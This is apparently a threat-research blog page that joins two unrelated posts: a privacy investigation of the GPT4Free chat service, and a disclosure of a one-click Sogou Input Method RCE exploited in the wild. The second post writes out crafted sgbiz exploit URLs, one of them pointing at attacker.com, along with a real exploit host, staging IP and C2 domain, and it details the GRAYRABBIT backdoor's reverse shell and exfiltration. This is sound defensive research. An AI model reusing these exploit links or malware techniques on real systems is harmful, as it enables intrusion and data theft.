Threat Analysis Engineer

Our team invests countless hours in the exploration, discovery and investigation of emerging trends such as AI and futuristic technology. Stay informed about the evolving landscape of cyberthreats through our diligent efforts and insights.

Research

At first, nothing about the conversation looks unusual. You open g4f.dev, choose one of the many AI models on offer, type a question and watch the answer appear. The exchange feels direct, almost private: you, the website and the model whose name you selected.&nbsp;We decided to follow the prompt. What looked like a simple conversation quickly became much more crowded, with GPT4Free infrastructure, provider code, third-party services and external model endpoints all potentially playing a part. Along the way, details about the request could be recorded together with the user’s IP address and approximate location, while the model named in the interface did not always match the model identified in the response.&nbsp;The strangest part came when we examined where some of those requests might be processed. The project includes lists of externally accessible Ollama systems, including servers on personal-looking domains and infrastructure associated with organizations or other services. Their relationship with GPT4Free is not made clear to the person whose prompt may be sent in their direction.&nbsp;This is not a story about every free AI service, and “free” is not in itself evidence of anything sinister. It is a look at one popular service and at how little a polished chatbot interface can reveal about the people, systems and data practices operating behind it.&nbsp;

<h2>We followed the prompt&nbsp;</h2>GPT4Free is a widely followed open-source project that can be installed locally, but it also operates a hosted chat service at g4f.dev. Our analysis concentrated on that hosted version, where visitors can choose from models carrying names associated with OpenAI, Google, Anthropic and other developers without creating separate accounts with those companies.&nbsp;

Behind that one interface sits a collection of providers, small pieces of code that take a chat request and adapt it to whatever the next service expects. Some lead towards official model endpoints, others recreate the web exchanges used by third-party AI sites, and some draw on custom servers. Routes that are technically very different become visually indistinguishable once they appear in the same model menu.&nbsp;Following the request therefore meant looking past the label in the interface. We compared the model chosen by the user with the provider selected by GPT4Free, the request sent onwards and the identifier returned with the answer. That was when the apparently straightforward conversation began to come apart.&nbsp;<h2>The model we chose was not always the model that answered&nbsp;</h2>Several of our tests used options associated with the Gemini provider. The prompts travelled through an OpenAI-compatible chat endpoint on g4f.space before being directed to Google’s Gemini infrastructure, but in some of those exchanges the model named in the response differed from the one we had selected in GPT4Free.&nbsp;

During our testing, we observed multiple cases in which the model reported in the response differed from the one requested. Google documents that a latest alias can be updated to a newer release within the same model variation, which may explain some model changes. However, that documented behaviour does not explain the cases in which requests for Gemini Pro or Gemini Omni resulted in responses reporting models/gemini-3-flash-preview. GPT4Free’s code uses defaultModel when no model is provided or when the selection is set to “auto”, but neither condition applied in these tests. Based on the evidence currently available, we cannot determine where in the chain the model was changed or which service was responsible.&nbsp;For someone using the chat, the uncertainty remains regardless of which system made the switch. Selecting a model in an aggregator tells you what you requested, but it does not prove what ultimately processed the prompt. Establishing that requires the entire trail, from the interface and provider to the request sent upstream and the identifier that comes back with the response.&nbsp;<h2>Then the trail led to other people’s AI servers&nbsp;</h2>The investigation became more unusual when we reached Ollama.swarm. Ollama allows people to run large language models on their own computers, and much of its privacy appeal comes from keeping prompts and answers on that hardware. Its API normally listens only on the local machine, although an owner can expose it to a wider network, deliberately or through a configuration mistake, and an exposed instance may end up reachable from the public internet.&nbsp;GPT4Free’s provider code relies on JSON files containing addresses for external AI endpoints. One seed file describes 196 Ollama sources and actually contains slightly more than 200 entries. A comment attributes 20 of them to Shodan, while the origin of the rest is left unexplained in the material we examined. When we tested a selection, some responded as working Ollama or llama.cpp services and others had already disappeared.&nbsp;

The project also maintains a richer source for its Custom Providers list. Entries in the public server metadata can include a base URL, supported models and other routing information, while the is_ollama field identifies those configured as Ollama services. We found GPT4Free workers there, but also personal-looking domains and infrastructure associated with organisations or unrelated services.&nbsp;

The list alone cannot tell us why each server is there. Its owner may knowingly provide capacity to GPT4Free, may have exposed the service for another purpose, or may not realise that it can be reached at all. We therefore cannot describe the listed systems collectively as compromised or claim that they are all being used without consent. What we can see is a service offering them as possible destinations without explaining their ownership or role to the person typing the prompt.&nbsp;If a conversation reaches one of those systems, its privacy no longer depends only on GPT4Free or the company behind the model. It also depends on an endpoint the user did not choose and may never know existed, leaving no practical way to assess whether the prompt is recorded there, how long it remains or what else might happen to it.&nbsp;<h2>To reach another provider, the code puts on a disguise&nbsp;</h2>Toolbaz offered a different example of how the provider layer works. The site lets people try several AI models in a browser and uses automated checks intended to recognise a real visitor using a real device. The integration we examined recreates the web request Toolbaz expects and builds a plausible browser fingerprint containing screen dimensions, language, time zone and other details. It also generates a fresh identity for every request.&nbsp;

Together, these mechanisms make automated requests look more like separate human visits and make controls tied to a recurring identity less effective.&nbsp;The response also introduced another unresolved model name. We requested gpt-5.2, but the returned metadata identified toolbaz-v4.5-fast. Toolbaz describes ToolBaz-v4.5-Fast as its proprietary model and presents it separately from GPT-5.2. This indicates that the response was not identified as the model selected in GPT4Free, although we cannot determine the underlying architecture or technology behind Toolbaz’s proprietary model.&nbsp;<h2>The conversation does not simply pass through&nbsp;</h2>Following the prompt explained where it could travel, but the code also revealed what GPT4Free could keep. The researchers found separate code paths for usage and error logging, including retention logic covering 14 days for usage logs and 30 days for error logs. The usage-logging code includes fields for the requester’s IP address, approximate geolocation, provider, model and conversation data. The researchers did not have access to the stored logs themselves, so these findings describe the logging behavior implemented in the code, not the contents of the service’s live log files.&nbsp;The interaction between the chat interface and that logging logic creates an unexpected possibility. In the default mode, the browser resends the whole conversation whenever the user adds another message. The logger, according to our analysis, reads the first entry and then stops, so the opening prompt is repeatedly available to be recorded, while later messages reach the server without entering the GPT4Free usage log in the same way.&nbsp;

The obvious instinct might be to enable “Disable Conversation History”, but doing so changes the shape of each request. The browser then sends one message at a time, placing every new prompt in the first position where the same logging function can capture it.&nbsp;

A setting that appears more private can therefore cause more individual prompts to become eligible for the service’s usage log. “Disable Conversation History” accurately describes what changes in the browser interface, but it tells the user nothing about this less intuitive effect behind it.&nbsp;<h2>We went looking for an explanation&nbsp;</h2>By this stage we knew that prompts could cross several providers, that the displayed model did not always settle the question of which model answered, and that GPT4Free could retain conversation data alongside network and location information. We then looked for the documents that would normally explain those practices to users.&nbsp;We identified versions of the project’s members page on two related domains, gpt4free.github.io and g4f.dev. Both ask visitors to agree to a Privacy Policy and Terms of Service, but following either link returned the same Member Area instead of opening the promised document.&nbsp;

Because broken links do not necessarily mean that the documents are absent, we searched both domains separately for pages containing privacy or terms-related language. We also reviewed the project’s manifesto, the closest document we found to a general statement about how the service operates, but it does not explain how personal data or prompts are handled. Across those checks, Gen Threat Labs could not find a Privacy Policy or Terms of Service for the hosted service.&nbsp;A web search cannot prove that an unindexed page does not exist somewhere, which is why we are describing what we could find rather than claiming that no such document can possibly exist. For an ordinary user, however, the result is the same: the service asks for agreement to two documents that it does not provide through its own links and that we could not locate elsewhere.&nbsp;<h2>Think of the prompt as something you are handing over&nbsp;</h2>GPT4Free’s openness allowed us to inspect mechanisms that would remain hidden inside a closed platform. Most visitors will never read the code or suspect how many systems may be involved in producing one answer.&nbsp;Anyone using an unofficial AI service should assume that a prompt may travel through several parties. Passwords, authentication tokens, confidential documents, internal information, health or financial details and data about other people have no place there. Removing a name may not be enough when the surrounding context still identifies someone.&nbsp;Ollama users face the other side of the same story: local hardware offers no privacy if its API is exposed. Free or paid matters less than whether the operator can explain where prompts go, who processes them and what is retained. We began with a direct-looking conversation and found multiple providers, shifting identifiers, third-party endpoints and hidden logs.&nbsp;

You choose a model, ask a question and get an answer. Behind that familiar exchange is a less familiar journey involving prompt logs, shifting model identities and servers whose role is never explained to users.

Free AI, at the Price of Your Prompt

<h2>Key Points</h2>
Gen Threat Labs discovered a critical remote code execution vulnerability (CVE-2026-51990) in Sogou Input Method, one of the most widely used Chinese-language input method editors with hundreds of millions of installations.
The vulnerability chains three separate weaknesses into a single, one-click exploit: unvalidated command-line argument injection in the sgbiz: custom protocol handler, unrestricted URL navigation in a CEF-based webview, and a severely outdated, unsandboxed Chromium browser engine.
We observed this vulnerability actively exploited in the wild by the UNC3569 threat group to deploy the GRAYRABBIT backdoor through a crafted link.
The vulnerability was reported to Tencent, who owns and develops Sogou Input Method, and has since been fixed.
<h2>Introduction</h2>
If you are reading this on a computer in China, there is a good chance you have Sogou Input Method installed. It is one of the most popular Chinese-language input method editors (IMEs) for Windows, with hundreds of millions of users. Like many modern desktop applications, Sogou Input Method ships with its own embedded browser engine, an update mechanism, and a set of custom protocol handlers that let different components talk to each other.
During a routine investigation of a UNC3569 intrusion, we traced the initial access back to something unexpected: the process chain started inside Sogou Input Method. That finding led us down a rabbit hole that ended with a critical remote code execution vulnerability, a single crafted link that could silently open a backdoor on any machine running the software. No user interaction beyond clicking the link was required.
We reported the vulnerability to Tencent, who patched it in a subsequent update. It was assigned CVE-2026-51990.
In this post, we walk through the vulnerability in detail, explain how each piece fits together, and then cover what UNC3569 did with it in the wild.

<h2>The Attack Surface: How Sogou Input Method Talks to Itself</h2>
Before diving into the vulnerability itself, it helps to understand the moving pieces. Sogou Input Method is not a single executable. It is a collection of components that communicate through a custom protocol scheme registered on Windows: sgbiz:.
When the user (or a webpage, or any application) opens a URL that starts with sgbiz:, Windows hands it off to biz_helper.exe, the protocol handler. This binary parses the URL, figures out what the caller is asking for, and dispatches the request to the appropriate Sogou component.
A typical sgbiz: URL looks something like this:
sgbiz:sg_process?module=sgmyinput.exe&amp;param=-page=skincenter
The URL path (sg_process, component, td_process) tells biz_helper.exe which handler to use. The query parameters provide the details: which executable to launch, what arguments to pass, what working directory to use, and so on. This is where things go wrong.
<h2>Vulnerability 1: Unvalidated Argument Injection in biz_helper.exe</h2>
The first link in the chain is the protocol handler itself. When biz_helper.exe receives an sgbiz: URL with the sg_process command, it extracts five parameters from the URL:
<ul>
<li>module: the name of the Sogou executable to launch</li>
<li>param: command-line arguments to pass to that executable</li>
<li>work_dir: the working directory</li>
<li>start_mode: how to launch the process (CreateProcessW or ShellExecuteW)</li>
<li>start_show: the window show state</li>
</ul>
The module parameter gets a thorough security check. The validation function scans it for forbidden characters (\ / : * ? " &lt; &gt; |) to block path traversal, enforces a MAX_PATH length limit, resolves the name relative to the Sogou installation directory, and then calls GetFileAttributesW to confirm the target file actually exists and is not a directory.

This validation exists for a good reason. It is there to block path traversal through the module parameter, which would allow attackers to launch arbitrary executables. But they missed something.
The param parameter, which controls what command-line arguments get passed to the launched executable, receives no validation at all. After being extracted from the URL, it goes through a single URL decode (the mbdup function) and is then passed directly and unmodified as the command-line arguments to whatever executable module points to. No sanitization, no allowlisting, no filtering, nothing.

This means an attacker can inject arbitrary command-line arguments into any Sogou executable that can be launched through the sg_process handler. And that is exactly what opens the door to the next vulnerability.

<h2>Vulnerability 2: Unrestricted URL Navigation in SGMyInput.exe</h2>
The attacker's crafted URL targets SGMyInput.exe, the Sogou Input Method configuration application, and passes it a carefully chosen set of arguments:
sgbiz:sg_process?module=sgmyinput.exe&amp;param=-page%3Dskincenter%20-url%3Dhttps%253A%252F%252Fattacker.com%252Fexploit.html
After URL decoding, the param value becomes:
-page=skincenter -url=https://attacker.com/exploit.html
The -page parameter determines which UI module SGMyInput.exe initializes. Most page types (fuzzy, confignormal, personcenter, keyset, and so on) create native Win32 configuration dialogs. But one page type is different: skincenter.
The skincenter page is the skin marketplace. Unlike every other page type, it creates a CEF (Chromium Embedded Framework) webview to display the skin store. It is the only code path in SGMyInput.exe that instantiates a browser. This is why the attacker chose skincenter specifically. When the webview is ready, the SkinCenterWebViewEvent::OnWebViewIsReady function checks whether a custom URL was provided through the -url command-line parameter (stored in the wszCustomUrl field of the SkinCenterWebViewEvent object). If one exists, the function copies it and navigates the browser directly to that URL.

Under normal circumstances, the webview would load internal Sogou URLs like <a href="https://sogoupyskin/">https://sogoupyskin/</a>, <a href="https://page.sogou/">https://page.sogou/</a>, or <a href="https://res.sogou/">https://res.sogou/</a>. The code registers these domains and loads HTML content and resources for them. But when a custom URL is present, the function just uses it. There is no scheme check (http, https, file, data, javascript, all are accepted), there is no domain allowlist, there is no validation of any kind.
So, the attacker-controlled URL from the sgbiz: link flows straight from biz_helper.exe through SGMyInput.exe and into a CEF browser that navigates wherever the attacker wants. That would already be a significant vulnerability on its own, but it gets worse.
<h2>Vulnerability 3: A Browser Engine from 2020, Running Without a Sandbox</h2>
The embedded browser in Sogou Input Method is powered by CEF (Chromium Embedded Framework). The actual rendering happens in a separate process: SGWebRender.exe.
SGWebRender.exe itself is a thin launcher. Its WinMain constructs the path to SGMiniBrowserHelperHost1.0.0.8.dll, loads it via LoadLibraryExW, and resolves the GetBrowserManagerInstance export. This function returns a browser manager singleton, whose Run method triggers the actual CEF initialization inside the DLL.

The DLL's CefBrowserInit function calls cef_enable_highdpi_support, parses the command line via GetCommandLineW, determines the process type (browser, renderer, or other), and then calls cef_execute_process for sub-processes. For the main browser process, it creates a CefSettings structure and populates it through PopulateCefSettings before calling cef_initialize. The CefApp object's OnBeforeCommandLineProcessing callback then appends additional Chromium command-line switches before the engine starts.
The problem is the CEF version. The libcef.dll bundled with Sogou Input Method identifies itself as CEF 80.1.16 with Chromium 80.0.3987.163. This version dates back to approximately March 2020, making it over six years old and roughly 60 major versions behind the current Chromium stable channel at the time of our analysis.
That alone would be a serious issue. Chromium 80 is missing six years of security patches and is vulnerable to hundreds of known CVEs, including critical V8 engine bugs that allow arbitrary code execution through JavaScript. But the situation is made dramatically worse by the security settings hardcoded inside the DLL.
First, the PopulateCefSettings function explicitly sets no_sandbox to TRUE in the CefSettings structure. This disables the Chromium sandbox entirely. The sandbox is the primary defense-in-depth mechanism that prevents a compromised renderer from accessing the host operating system. Without it, any renderer exploit gains full access to the system with the privileges of the current user.

Then, the ConfigureCefCommandLineSwitches callback (the CefApp's OnBeforeCommandLineProcessing handler) appends a series of switches that strip away even more protections:
<ul>
<li>disable-web-security: disables the same-origin policy, allowing any page to read from any origin</li>
<li>allow-file-access-from-files: lets URLs read other local files</li>
<li>disable-gpu-shader-disk-cache</li>
<li>enable-direct-write</li>
<li>disable-spell-checking</li>
</ul>
The disable-web-security and allow-file-access-from-files flags are gated behind a bDisableWebSecurity field in the CefApp object. But that flag is hardcoded to 1 by SGWebRender.exe when it initializes the browser manager. It is not a runtime toggle or a configuration option. It is always on.

The disable-web-security flag is particularly dangerous. Even without a full browser exploit, disabling the same-origin policy means any page loaded in this webview could make authenticated requests to internal network services, read their responses, and exfiltrate the data. Combined with the lack of a sandbox, this creates an environment where exploitation is as easy as it gets.

In short: the attacker can force this ancient, unprotected browser to navigate to any URL they want. All they need is a JavaScript exploit for any Chromium vulnerability published in the last six years.
<h2>Putting It All Together</h2>
The full exploit chain works like this:
<ol>
<li>
The attacker crafts an sgbiz: URL and delivers it to the victim (for example, through a phishing email, a message, or a link on a webpage).
</li>
<li>
When the victim clicks the link, Windows hands it to biz_helper.exe, which parses the sgbiz: URL, validates the module parameter (sgmyinput.exe passes the check because it is a legitimate Sogou executable), and passes the unvalidated param value as command-line arguments.
</li>
<li>
SGMyInput.exe launches with -page=skincenter and -url=https://attacker.com/exploit.html. The skincenter page creates a CEF webview, and the OnWebViewIsReady function navigates the browser to the attacker's URL without any validation.
</li>
<li>
SGWebRender.exe, running Chromium 80 with no sandbox and with same-origin policy disabled, loads the attacker's page. The page contains a JavaScript exploit targeting any known V8 vulnerability from the last six years.
</li>
<li>
Because there is no sandbox, the exploit achieves direct system-level code execution. The attacker can now do anything the current user can do.
</li>
</ol>
The entire chain requires nothing more than a single click on a link.
<h2>Observed in the Wild: UNC3569's GRAYRABBIT Backdoor</h2>
We did not discover this vulnerability in a lab. We found it during the analysis of an active UNC3569 intrusion.
UNC3569 is a PRC-nexus threat group documented by Google Threat Intelligence that prioritizes operational efficiency, routinely exploiting n-day vulnerabilities in widely used software and maintaining a diverse toolset that includes both custom-developed malware and commercial tools. The group has conducted cyber operations against government, education, technology, and finance sectors worldwide, with a concentration in East and Southeast Asia. Notably, UNC3569 has potential business relationships with i-SOON, a Chinese private contractor company whose internal communications were leaked in early 2024. For a comprehensive analysis of UNC3569's operations, see the Virus Bulletin 2024 paper "<a href="https://www.virusbulletin.com/uploads/pdf/conference/vb2024/papers/Down-the-GRAYRABBIT-hole-exposing-UNC3569-and-its-modus-operandi.pdf">Down the GRAYRABBIT Hole: Exposing UNC3569 and Its Modus Operandi</a>" by Google researchers.
In the campaign we observed, the attacker delivered the following URL to victims:
sgbiz:sg_process?module=sgmyinput.exe&amp;param=-page%3Dskincenter%20-url%3Dhttps%253A%252F%252Fnoht1ng.top%252Ffuckujjbangx.html
The exploit page at noht1ng.top served a JavaScript exploit for <a href="https://starlabs.sg/blog/2022/12-thehole-new-world-how-a-small-leak-will-sink-a-great-browser-cve-2021-38003/">CVE-2021-38003</a>, a V8 type confusion vulnerability in JSON.stringify that affects Chrome versions prior to 95.0.4638.69. Since Sogou's bundled Chromium is version 80, this CVE (and dozens of others from the intervening 60+ major versions) works perfectly.

The exploit used this "hole" value to corrupt V8's internal Map structures through the makeMapOdd function, eventually achieving arbitrary read/write on the heap. From there, it located a WebAssembly instance (which V8 backs with RWX memory), overwrote the executable page with embedded shellcode, and called the WebAssembly export to jump into it.

<h2>The Shellcode: Download and Sideload</h2>
The exploit contained embedded x64 position-independent shellcode (921 bytes) that acted as a downloader. The shellcode used a classic call/pop technique to find its own base address, then walked the PEB's InLoadOrderModuleList to locate kernel32.dll by matching a ROR8 hash of each module's name. It resolved LoadLibraryW by export-name hash, loaded Urlmon.dll, and resolved URLDownloadToFileA.

The downloader's role, fetching GRAYRABBIT components from an open directory server hosted on Alibaba Cloud, is functionally reminiscent of RABBITFUR, the proprietary downloader that Google Threat Intelligence has documented as UNC3569's standard mechanism for delivering GRAYRABBIT payloads. In previously observed campaigns, RABBITFUR was deployed as a standalone executable that downloaded a shellcode-wrapped GRAYRABBIT from an open directory server. Here, the same functional pattern (download from open directory, deliver XOR-encoded GRAYRABBIT) is embedded directly within the V8 exploit shellcode rather than packaged as a separate binary, potentially representing an evolution of the delivery mechanism to fit the browser-exploit initial access vector.
The shellcode fetched three files from a staging server at 8.218.50[.]207 (Alibaba Cloud, Hong Kong), consistent with UNC3569's well-documented preference for Alibaba Cloud infrastructure in the Hong Kong and Singapore regions:
<ul>
<li>7z.exe: a legitimate 7-Zip binary, used as a sideloading host</li>
<li>7zp.dll: a trojanized DLL loader (internal name: boy.dll)</li>
<li>p: an encrypted payload blob containing the final-stage RAT</li>
</ul>
These files were written to C:\Users\Public\Documents\. Crucially, the shellcode saved the trojanized DLL as 7z.dll on disk (not 7zp.dll), placing it alongside the legitimate 7z.exe. It then resolved CreateProcessA from kernel32 and executed the following command with the CREATE_NO_WINDOW (0x08000000) flag:
c:\users\public\documents\7z.exe a c:\users\public\documents\p.7z c:\users\public\documents\p
The archive command itself is irrelevant. Its sole purpose is to launch 7z.exe, which automatically loads 7z.dll from its own directory. Because the trojanized DLL has been placed there under the legitimate DLL's name, it gets sideloaded and takes over execution before 7-Zip ever processes the command line.
<h2>The Loader: Anti-Sandbox and Self-Deletion</h2>
The trojanized DLL masquerades as a legitimate 7z.dll. All standard 7-Zip exports (CreateDecoder, CreateEncoder, CreateObject, GetHandlerProperty, and so on) are present but point to empty stub functions that simply return. Only one export, GetModuleProp, contains the actual malicious code. When 7z.exe calls GetModuleProp during its initialization, the trojanized DLL springs to life.
API resolution is done entirely by hand, identical to how the shellcode performed it: the loader walks the PEB's InLoadOrderModuleList to find kernel32.dll by computing a ROR8 hash of each module's name.
The loader reads the encrypted payload file from disk into memory, then runs an anti-sandbox gate before decrypting it. The gate works by creating a process snapshot with CreateToolhelp32Snapshot and counting every running process via Process32First / Process32Next. The count is compared against a threshold of 50 (0x32). If the system has 50 or more processes (typical for a real machine), the count is discarded and replaced with zero. If the system has fewer than 50 processes (typical for a sandbox), the actual count is kept.
The DWORD XOR decryption key is then computed from three values: a deterministic floating-point result (a fixed computation that iterates 50,000 times through a sequence of sqrt, multiply, and reciprocal operations, always producing the same integer), the process count gate value, and the hardcoded constant 0x098838B0. These three values are XOR'd together. On a real machine, the gate value is zero and the XOR produces the correct decryption key. In a sandbox, the gate value is non-zero, the XOR produces a wrong key, and the payload decrypts into garbage. The decryption loop then applies this DWORD key to every four bytes of the payload buffer.

After decryption, the loader copies the result into an RWX buffer (VirtualAlloc with PAGE_EXECUTE_READWRITE) and executes it through the Windows Thread Pool API (CreateThreadpoolWork, SubmitThreadpoolWork, WaitForThreadpoolWorkCallbacks) instead of the more commonly hooked CreateThread. This helps it avoid behavioral detection rules targeting common thread creation patterns.
Before executing the payload, the loader self-deletes using an NTFS Alternate Data Stream technique. It opens its own file with DELETE access (0x10000) and FILE_SHARE_READ, then calls SetFileInformationByHandle with the FileRenameInfo class (3) to rename the default data stream to a randomly named ADS (for example, :aB3xRt). Next, it sets FileDispositionInfo (class 4) with DeleteFile = TRUE, closes the handle, reopens the file, and sets the disposition again. When all handles close, the file disappears from disk. No DeleteFileW call ever appears in behavioral logs.
<h2>The Payload: GRAYRABBIT Backdoor</h2>
The encrypted payload blob is structured as a two-stage package: a position-independent shellcode stub (0xC7 bytes) followed by the XOR-encrypted GRAYRABBIT PE. This packaging format, a short decryptor stub prepended to a single-byte XOR-encrypted PE that calls the CoreClientInstall export, is the standard GRAYRABBIT delivery format that Google Threat Intelligence has documented consistently across every UNC3569 campaign since at least 2021.
The stub uses a call/pop technique to locate its own base address, adds 0xBF to find the start of the encrypted data (which lands at file offset 0xC7), and then XOR-decrypts the entire embedded PE (0x42800 bytes) with the single-byte key 0x33. After decryption, the stub navigates the PE's export directory using an RVA-to-file-offset converter (since the PE has not been mapped into virtual memory yet), locates CoreClientInstall as the first export by ordinal, and calls it with the decrypted PE base address as the argument.
The decrypted PE is an x64 variant of GRAYRABBIT, a lightweight C++ backdoor that UNC3569 has used repeatedly over the years as a first-stage implant. The internal module name is core.dll, and the backdoor exports two functions: CoreClientInstall (the reflective loader entry point) and CoreClientStart (the main RAT loop). These export names, together with the C2 protocol structure and beacon format, are the defining identifiers for GRAYRABBIT, as documented by Google Threat Intelligence in the VB2024 paper mentioned above. The x64 variant represents a maturation of the original x86 GRAYRABBIT, with structural differences including a byte-operation-encoded C2 domain and an expanded command set.
CoreClientInstall is a reflective PE loader. It resolves VirtualAlloc from kernel32 (via the same PEB-walk hash technique), allocates RWX memory large enough for the full PE image, and maps the PE into it: copying sections to their virtual addresses, processing base relocations, and resolving imports through ntdll's LdrGetDllHandle and LdrGetProcedureAddress (also resolved by hash). Finally, it sets proper page protections on each section via VirtualProtect, calls DllMain with DLL_PROCESS_ATTACH, and then resolves CoreClientStart by export-name hash and calls it.

CoreClientStart begins by decrypting the C2 configuration. The domain mail.uaiubifas[.]top is split across a 16-byte XMM constant and a two-byte string literal "op" that are concatenated at runtime. The port is hardcoded as 0x1BB (443). Communication uses raw TCP sockets (not TLS). Every 0x1000-byte send/receive frame is encrypted with RC4 using the six-byte static key m5b1u3. The RC4 S-box is reinitialized for each frame.
On startup, CoreClientStart iterates through the configured C2 servers, calling gethostbyname to resolve the domain, then connect to establish a TCP connection on port 443. Once connected, it enables TCP keepalive (SIO_KEEPALIVE_VALS with a 10-second interval and 5-second retry) and sets SO_REUSEADDR. If the connection drops, the RAT closes the socket, reinitializes Winsock, and reconnects after a 10-second sleep (Sleep(0x2710)).
A dedicated receive thread runs in a loop, reading up to 0x1000 bytes per frame from the socket, RC4-decrypting each frame, and dispatching incoming messages by their 4-byte type identifier. The binary contains C++ RTTI metadata that reveals the class hierarchy: messages inherit from a base SRMsg class and are dynamically cast to either NormalMsg (command messages) or FileMsg (file transfer messages):
<ul>
<li>0x6D7367FF ("msg" + 0xFF): Command message (NormalMsg), dispatched to the command handler</li>
<li>0x66696C65 ("file"): File operation message (FileMsg), dispatched to the file task system</li>
</ul>

Every frame on the wire is exactly 0x1000 (4096) bytes, zero-padded and RC4-encrypted. A NormalMsg frame contains a 12-byte header: the 4-byte magic, a 4-byte payload length, and a 4-byte command ID, followed by up to 4084 bytes of UTF-8 payload data. A FileMsg frame has a larger 264-byte (0x108) header: the 4-byte magic, a 4-byte payload length, a 1-byte operation code ('s' for start, 'c' for chunk, 'e' for end), and a 255-byte null-terminated file path, followed by up to 3832 bytes of file data. The operation codes control the file transfer state machine: 's' creates a new transfer entry in an internal task queue and delivers the first data chunk, 'c' appends subsequent chunks, and 'e' marks the transfer as complete (status 2), signaling any waiting thread that the full file is available.
All numbered commands (0 through 9) and the default plugin dispatch are delivered as NormalMsg frames. FileMsg frames are used exclusively for the data transfer channel that delivers file content to or from the implant and are not part of the command dispatch table. The main thread processes the NormalMsg command queue and dispatches based on the command ID:
<table>
<thead>
<tr>
<th>Command ID</th>
<th>MSG Type</th>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>NormalMsg</td>
<td>Execute a process silently (CreateProcessW with the payload as a command line)</td>
</tr>
<tr>
<td>1</td>
<td>NormalMsg</td>
<td>Start an interactive reverse shell (CreateProcessA "cmd" with piped stdin/stdout/stderr)</td>
</tr>
<tr>
<td>2</td>
<td>NormalMsg</td>
<td>No-op / reserved</td>
</tr>
<tr>
<td>3</td>
<td>NormalMsg</td>
<td>Write data to the interactive shell's stdin pipe (requires an active shell from cmd 1)</td>
</tr>
<tr>
<td>4</td>
<td>NormalMsg</td>
<td>Close the interactive shell and terminate its process</td>
</tr>
<tr>
<td>5</td>
<td>NormalMsg</td>
<td>Load a plugin module from the C2 (see below)</td>
</tr>
<tr>
<td>6</td>
<td>NormalMsg</td>
<td>Collect and send system information</td>
</tr>
<tr>
<td>7</td>
<td>NormalMsg</td>
<td>Self-terminate (unload all plugins, then TerminateProcess on the current process)</td>
</tr>
<tr>
<td>8</td>
<td>NormalMsg</td>
<td>No-op / file request acknowledgment (also sent by the client to request a file)</td>
</tr>
<tr>
<td>9</td>
<td>NormalMsg</td>
<td>Upload a local file to the C2 (reads the file path from the payload)</td>
</tr>
<tr>
<td>default</td>
<td>NormalMsg</td>
<td>Dispatch to loaded plugin modules via their vtable handlers</td>
</tr>
</tbody>
</table>
Command 5 is the plugin loader, and its behavior depends on whether the requested module has already been downloaded. The payload contains a file path string (UTF-8). When the command arrives, the handler first looks up this path in an internal task queue that tracks all ongoing and completed file transfers. Two outcomes are possible:
<ul>
<li>
If the path is NOT found in the task queue (the module has not been downloaded yet), the handler spawns a dedicated download thread. This thread sends a NormalMsg with command ID 8 back to the C2, carrying the same file path as its payload, effectively requesting the C2 to deliver the file. The C2 responds with a sequence of FileMsg frames: an 's' frame to create the transfer entry and deliver the first chunk, zero or more 'c' frames with subsequent chunks, and a final 'e' frame that marks the transfer as complete (setting an internal status field to 2). The download thread polls the task queue in a loop, sleeping approximately two seconds between checks, until it detects that the entry's status has reached 2. At that point, it proceeds to the reflective loading stage.
</li>
<li>
If the path IS found with status 2 (the module was already downloaded in a previous command), the handler skips the download entirely and proceeds directly to reflective loading.
</li>
</ul>
The reflective loading stage maps the downloaded PE into memory using the same infrastructure as CoreClientInstall: it resolves VirtualAlloc from kernel32 via PEB-walk hashing, allocates executable memory, maps sections to their virtual addresses, processes relocations, resolves imports, and calls the entry point with DLL_PROCESS_ATTACH. A designated export is then resolved by hash and invoked. Each loaded module is tracked in a linked list, and unrecognized command IDs (the default case in the dispatch table) are forwarded to these modules via vtable calls, allowing the C2 operator to extend GRAYRABBIT's capabilities at runtime without replacing the core implant.

The system information beacon (command 6) collects the machine's IPv4 address via GetAdaptersAddresses (filtering for operational Ethernet or Wi-Fi adapters with a gateway), the hostname via gethostname, the username via GetUserNameA, and the current process name and PID via GetModuleFileNameA and GetProcessId. The result is formatted as &lt;ip_address&gt;+&lt;hostname&gt;+&lt;username&gt;+&lt;exename&gt;:&lt;pid&gt; and sent to the C2 upon successful connection.
<h2>Disclosure Timeline and Fix</h2>
<ul>
<li>
April 9, 2026: Vulnerability reported to Tencent (<a href="mailto:security@tencent.com">security@tencent.com</a>) with full technical report and 90-day coordinated disclosure deadline per ISO/IEC 29147:2018
</li>
<li>
April 10, 2026: Tencent acknowledges receipt and begins internal assessment
</li>
<li>
April 21, 2026: Tencent confirms the fix is complete and deployed to all users via automatic update (version 16.3.0.3498)
</li>
<li>
May 4, 2026: CVE ID requested through MITRE
</li>
<li>
July 10, 2026: MITRE assigns CVE-2026-51990
</li>
</ul>
Credit where it is due: a 12-day turnaround from report to deployed patch is genuinely fast, and we commend the Sogou engineering team for the speed of their response. In their response, Tencent characterized the vulnerability's impact as limited, noting that the exploitation chain is "relatively complex" and that it requires "social engineering tactics to induce the user to actively authorize the browser's pop-up prompt." Their response also called on "all platform providers to further strengthen the identification and interception of illicit links". While the update blocks the exploit path we observed, the underlying browser component remains outdated, continues to run without sandboxing, and still has important browser security controls disabled. We believe these components warrant further hardening.
We recommend that all Sogou Input Method users update to the latest version as soon as possible.
<h2>What was Fixed</h2>
The entire fix lives in biz_helper.exe, at the protocol handler level. The handler now identifies URL-bearing switches by checking the switch name against a set of known URL parameters (specifically -url and -firsturl, the two switches that SGMyInput.exe uses to accept custom navigation URLs). For each URL found, it calls InternetCrackUrlW to parse the URL structure, immediately rejects anything that is not HTTPS (blocking http://, ftp://, data://, javascript://, and every other scheme), extracts the hostname, lowercases it, and checks it against a suffix-matching allowlist containing four entries: sogou.com, qq.com, woa.com, sogou.
The suffix matching means sogou.com matches anything.sogou.com, skins.sogou.com, and so on, but does not match attacker-sogou.com (the comparison is performed right-to-left against ".sogou.com" with a dot prepended to each allowlist entry).
Notably, the CEF configuration and the version of libcef itself were not changed. In the patched SGWebRender.exe and SGMiniBrowserHelperHost DLL, CefSettings.no_sandbox is still set to 1, the bDisableWebSecurity flag is still hardcoded to 1, and the ConfigureCefCommandLineSwitches callback still appends disable-web-security, allow-file-access-from-files, and the other insecure flags. The embedded browser component remains sandboxless and security-stripped. It just can no longer be reached through the external protocol handler with an attacker-controlled URL, because the input validation in biz_helper.exe now blocks this attack at the front door.
At the time of writing this, additional checks were added to biz_helper, such as browser-context module argument whitelist and a dangerous param argument blocklist. However, CEF configuration and version still remain unchanged.
